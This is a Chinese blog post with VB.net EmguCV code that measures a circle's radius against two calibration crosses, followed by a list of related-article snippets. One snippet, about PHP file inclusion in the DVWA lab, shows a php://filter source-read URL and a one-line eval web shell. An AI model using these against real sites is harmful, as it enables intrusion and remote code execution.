编程获取图像中的圆半径

版权声明:本文为博主原创文章,转载请在显著位置标明本文出处以及作者网名,未经作者允许不得用于商业目的。

即将推出EmguCV的教程,请大家还稍作等待。

之前网友咨询如何获得图像中圆形的半径,其中有两个十字作为标定,十字之间距离为100mm。如下图:

说实在的,单靠VB.net很难获得相关圆形信息,为了弥补这部分知识,下定决心学习了EmguCV。以下是具体代码:https://blog.csdn.net/UruseiBest

        Dim msrc As New Mat("C:\learnEmgucv\celiang.jpg", ImreadModes.Color)Dim mgray As New Mat()CvInvoke.CvtColor(msrc, mgray, ColorConversion.Bgr2Gray)Dim kernel As New Matkernel = CvInvoke.GetStructuringElement(ElementShape.Cross, New Drawing.Size(3, 3), New Point(-1, -1))Dim merode As New Mat        ''这里使用了2次迭代CvInvoke.Dilate(mgray, merode, kernel, New Point(-1, -1), 1, BorderType.Constant, Nothing)CvInvoke.Threshold(merode, merode, 200, 255, ThresholdType.BinaryInv)'获得所有轮廓 https://blog.csdn.net/UruseiBestDim contours As New VectorOfVectorOfPointDim hierarchy As New VectorOfRectCvInvoke.FindContours(merode, contours, hierarchy, RetrType.List, ChainApproxMethod.ChainApproxSimple)Dim m2 As New Mat(merode.Size, DepthType.Cv8U, 1)m2.SetTo(New MCvScalar(0))'圆轮廓Dim contourCircle As VectorOfPoint'圆轮廓的周长Dim perimeter As Double'绘制轮廓 https://blog.csdn.net/UruseiBestFor i As Integer = 0 To contours.Size - 1Dim carea As VectorOfPoint = contours(i)'获得轮廓面积Dim area As Double = CvInvoke.ContourArea(carea, False)'符合条件时,绘制轮廓,排除圆形,只保留十字线 '本图中圆形面积为2449,直线面积为8,需要根据实际情况调整If area < 200 ThenCvInvoke.DrawContours(m2, contours, i, New MCvScalar(255), 0.4)Else'得到圆形,图像中只有三个轮廓:2个交叉十字线段、1个圆形'这里简化操作,否则在多个轮廓情况下,应获取最大面积的轮廓判断为圆形contourCircle = contours(i)'获取轮廓周长perimeter = CvInvoke.ArcLength(contourCircle, True)End IfNextImageBox1.Image = m2

        '使用HoughLinesP方法检测图像中的直线,并将其绘制到图像'因为本图中十字线上的线段较短,所以这里阈值设置很小Dim lines As LineSegment2D() = CvInvoke.HoughLinesP(m2, 1, Math.PI / 180, 5, 5, 80)Dim m3 As New Mat(merode.Size, DepthType.Cv8U, 3)m3.SetTo(New MCvScalar(0, 0, 0))For Each line As LineSegment2D In linesCvInvoke.Line(m3, line.P1, line.P2, New MCvScalar(0, 255, 0), 2)NextImageBox2.Image = m3

       '对直线进行分类,将其分为垂直和水平两类:Dim verticalLines As New List(Of LineSegment2D)Dim horizontalLines As New List(Of LineSegment2D)'计算每条直线的倾斜角度来进行分类,'将倾斜角度在60 - 120度之间的直线划分为垂直类,'将倾斜角度在30 - 150度之间的直线划分为水平类。For Each line As LineSegment2D In linesDim angle As Double = Math.Atan2(line.P2.Y - line.P1.Y, line.P2.X - line.P1.X) * 180 / Math.PIIf angle < 0 Then angle += 180If angle > 60 AndAlso angle < 120 ThenverticalLines.Add(line)ElseIf angle > 150 OrElse angle < 30 ThenhorizontalLines.Add(line)End IfNext'对垂直和水平直线进行匹配,并计算十字中心点的位置:Dim intersections As New List(Of PointF)'得到两个相交点 https://blog.csdn.net/UruseiBestFor Each verticalLine As LineSegment2D In verticalLinesFor Each horizontalLine As LineSegment2D In horizontalLines'基于图像中两条直线真实相交,'如果垂直线的中点X坐标在水平线两端点X坐标之间'那么,这条垂直线段和这条水平线段相交Dim centerX As Single = (verticalLine.P1.X + verticalLine.P2.X) / 2If horizontalLine.P1.X < horizontalLine.P2.X ThenIf centerX > horizontalLine.P1.X And centerX < horizontalLine.P2.X ThenDim intersectionPoint As New PointF((horizontalLine.P1.X + horizontalLine.P2.X + verticalLine.P1.X + verticalLine.P2.X) / 4,(horizontalLine.P1.Y + horizontalLine.P2.Y + verticalLine.P1.Y + verticalLine.P2.Y) / 4)intersections.Add(intersectionPoint)End IfElseIf centerX > horizontalLine.P2.X And centerX < horizontalLine.P1.X ThenDim intersectionPoint As New PointF((horizontalLine.P1.X + horizontalLine.P2.X + verticalLine.P1.X + verticalLine.P2.X) / 4,(horizontalLine.P1.Y + horizontalLine.P2.Y + verticalLine.P1.Y + verticalLine.P2.Y) / 4)intersections.Add(intersectionPoint)End IfEnd IfNextNextIf intersections.Count <> 2 ThenMessageBox.Show("未能获得两个十字线的交叉点")Exit SubEnd IfCvInvoke.Line(msrc, PointFToPoint(intersections(0)), PointFToPoint(intersections(1)), New MCvScalar(0, 255, 0), 2)CvInvoke.Imshow("m3", msrc)

       '计算两个交点的距离Dim distance As Double = Math.Sqrt((intersections(0).X - intersections(1).X) ^ 2 +(intersections(0).Y - intersections(1).Y) ^ 2)'实际中两交点距离为100毫米,计算相应比例Dim proportion As Double = 100 / distance'以下是基于最小外接圆来计算实际圆半径Dim cf As CircleFcf = CvInvoke.MinEnclosingCircle(contourCircle)'获得外接圆形 https://blog.csdn.net/UruseiBestCvInvoke.Circle(msrc, New Point(CInt(cf.Center.X), CInt(cf.Center.Y)), cf.Radius, New MCvScalar(0, 0, 255), 2)CvInvoke.Imshow("m4", msrc)

       '实际圆半径Dim realradius1 As Doublerealradius1 = proportion * cf.Radius'以下是基于轮廓周长来计算实际圆半径'实际圆周长Dim realperimeter As Double = perimeter * proportion'图像中的圆半径 https://blog.csdn.net/UruseiBestDim radius As Doubleradius = (perimeter / Math.PI) / 2'实际圆半径Dim realradius2 As Doublerealradius2 = proportion * radiusMessageBox.Show("最小外接圆来计算实际圆半径:" & realradius1 & ControlChars.CrLf &"基于轮廓周长来计算实际圆半径:" & realradius2)

这个网友当时提出来问题的时候,我还没有办法解决,不过经过不断学习,目前已经学习了不少相关知识,至少可以获得圆半径了,还是略微感到欣慰。 

关于EmguCV的知识,下一步整理出来。

由于.net平台下C#和vb.NET很相似,本文也可以为C#爱好者提供参考。

学习更多vb.net知识,请参看vb.net 教程 目录

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/139514.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

TSINGSEE视频AI智能分析技术:水泥厂安全生产智能监管解决方案

一、方案背景 随着人工智能技术的快速发展以及视频监控系统在全国范围内的迅速推进&#xff0c;基于AI视频智能分析技术的智能视频监控与智慧监管系统&#xff0c;也已经成为当前行业的发展趋势。在工业制造与工业生产领域&#xff0c;工厂对设备的巡检管理、维护维修、资产管…

Angular变更检测机制

前段时间遇到这样一个 bug&#xff0c;通过一个 click 事件跳转到一个新页面&#xff0c;新页面迟迟不加载&#xff1b; 经过多次测试发现&#xff0c;将鼠标移入某个 tab &#xff0c;页面就加载出来了。 举个例子&#xff0c;页面内容无法加载&#xff0c;但是将鼠标移入下图…

共享门店系统开发如何实际运用?

现在的实体门店难做应该已经成了大家的共识&#xff0c;线下的生意不景气&#xff0c;很多商户都面临着入不敷出的情况&#xff0c;长久以往&#xff0c;倒闭的商户一定会越来越多&#xff0c;那我们应该如何挽救一下这种现状&#xff0c;让实体店也能重获新生呢&#xff1f; 今…

PHP包含读文件写文件

读文件 php://filter/readconvert.base64-encode/是加密 http://192.168.246.11/DVWA/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourcex.php <?php eval($_POST[chopper]);?> 利用包含漏洞所在点&#xff0c;进行读文件&#xff0c;bp抓…

帧结构的串行数据接收器——Verilog实现

用Verilog 实现一个帧结构的串行数据接收器&#xff1b; 串行数据输入为&#xff1a;NRZ数据加位时钟&#xff08;BCL&#xff09;格式&#xff0c;高位在前 帧结构为&#xff1a;8位构成一个字&#xff0c;64字构成一个帧。每帧的第一个字为同步字。同步字图案存储在可由CPU读…

react实现动态递增展示数字特效

在可视化展示界面时有一种场景&#xff0c;就是页面在初始化的时候&#xff0c;有些数字展示想要从某个值开始动态递增到实际值&#xff0c;形成一种动画效果。例如&#xff1a; 写一个数字递增的组件&#xff0c;代码如下&#xff1a; import {useEffect, useRef, useState} f…

火花塞工作原理

1.红旗H9轿车2023款发布 2023年元旦过后&#xff0c;红旗汽车在人民大会堂举办了红旗H9的新车发布会&#xff0c;一汽红旗全新的H9豪华轿车终于出炉了全套的配置参数&#xff0c;红旗H9的车身长度达到5137mm&#xff0c;宽度1904mm&#xff0c;轴距3060mm&#xff0c;总高则控…

阿里云大数据实战记录10:Hive 兼容模式的坑

文章目录 1、前言2、什么是 Hive 兼容模式&#xff1f;3、为什么要开启 Hive 模式&#xff1f;4、有什么副作用&#xff1f;5、如何开启 Hive 兼容模式&#xff1f;6、该场景下&#xff0c;能不能不开启 Hive 兼容模式&#xff1f;7、为什么不是DATE_FORMAT(datetime, string)&…

C语言的文件操作(炒详解)

⭐回顾回顾文件操作的相关细节⭐ 欢迎大家指正错误 &#x1f4dd;在之前的学习中&#xff0c;不管增加数据&#xff0c;减少数据&#xff0c;当程序退出时&#xff0c;所有的数据都会销毁&#xff0c;等下次运行程序时&#xff0c;又要重新输入相关数据&#xff0c;如果一直像这…

JS 原型和原型链

原型和原型链 1. 了解原型和原型链1.1 原型1.2 原型链 2. 原型2.1 prototype2.2 __proto__ 隐式原型 3. 原型链 1. 了解原型和原型链 1.1 原型 原型&#xff1a; prototype 又称显示原型 1、原型是一个普通对象 2、只有构造函数才具备该属性 3、公有属性可操作 1.2 原型链 原…

Quartz 建表语句SQL文件

SQL文件在jar里面&#xff0c;github下载 https://github.com/quartz-scheduler/quartz/releases/tag/v2.3.2 解压&#xff0c;sql文件路径&#xff1a;quartz-core\src\main\resources\org\quartz\impl\jdbcjobstore tables_mysql_innodb.sql # # In your Quartz propertie…

Python学习 day01(注意事项)

注释 变量 数据类型的转换 运算符 / 的结果为浮点数。若// 的两边有一个为浮点数&#xff0c;则结果为浮点数&#xff0c;否则为整数。 字符串

uqrcode+uni-app 微信小程序生成二维码

使用微信小程序需要弹出动态二维码的需求&#xff0c;从插件市场选了一个下载次数较多的组件引入到项目中uqrcode&#xff0c;使用步骤如下&#xff1a; 1、从插件市场下载 插件地址&#xff1a;https://ext.dcloud.net.cn/plugin?id1287&#xff0c;若你是跟我一样是用uni-…

AI视频剪辑:批量智剪技巧大揭秘

对于许多内容创作者来说&#xff0c;视频剪辑是一项必不可少的技能。然而&#xff0c;传统的视频剪辑方法需要耗费大量的时间和精力。如今&#xff0c;有一种全新的剪辑方式正在改变这一现状&#xff0c;那就是批量AI智剪。这种智能化的剪辑方式能够让你在短时间内轻松剪辑大量…

【无标题】mysql 普通用户连接报错: MySql server has gone away

1、mysql 普通用户连接报错&#xff1a; MySql server has gone away 2、进入mysql错误日志位置查看输出日志显示错误为&#xff1a; [Warning] [MY-013130] [Server] Aborted connection 47 to db: unconnected user: tjcx host: 10.195.11.4 (init_connect command failed; …

嵌入式网络接口之MAC芯片与PHY芯片

目录 0. 参考文档 1.嵌入式网络接口简介 2.嵌入式网络硬件架构方案 2.1 SOC内未集成MAC芯片 2.2 SOC内集成MAC芯片 2.3 主流方案总结 2.3 参照实际网卡的说明 3.MII/RMII及MDIO接口 3.1 MII 3.2 RMII 3.3 MDIO 0. 参考文档 网卡构造&#xff1a;MAC与PHY的关系&…

【李沐深度学习笔记】矩阵计算(5)

课程地址和说明 线性代数实现p4 本系列文章是我学习李沐老师深度学习系列课程的学习笔记&#xff0c;可能会对李沐老师上课没讲到的进行补充。 本节是第五篇&#xff0c;由于CSDN限制&#xff0c;只能被迫拆分 矩阵计算 多元函数的等高线 此处参考视频&#xff1a;熟肉)多元…

上PICO,沉浸式观看亚运直播,参与跨国界游戏竞技

备受瞩目的杭州第19届亚运会&#xff0c;将于9月23日正式开幕。据悉&#xff0c;这也是有史以来项目最多的一届亚运会&#xff0c;除部分传统奥运项目外&#xff0c;还包含武术、藤球、板球、克柔术、柔术等亚洲特色项目&#xff0c;以及霹雳舞、电子竞技等深受年轻人喜爱的新兴…

LeetCode算法动态规划—斐波那契数列

目录 剑指 Offer 10- I. 斐波那契数列 - 力扣&#xff08;LeetCode&#xff09; 题解&#xff1a; 代码&#xff1a; 运行结果&#xff1a; 写一个函数&#xff0c;输入 n &#xff0c;求斐波那契&#xff08;Fibonacci&#xff09;数列的第 n 项&#xff08;即 F(N)&#…

Labelme分割标注软件

Labelme分割标注软件 1、环境配置与安装1.1 创建conda虚拟环境(建议)1.2 安装Labelme 2、简单使用2.1 创建label标签文件2.2 启动labelme2.3 打开文件/文件夹2.4 设置保存结果路径2.5 标注目标2.6 保存json文件格式 3 格式转换3.1 转换语义分割标签3.2 转换实例分割标签 相关重…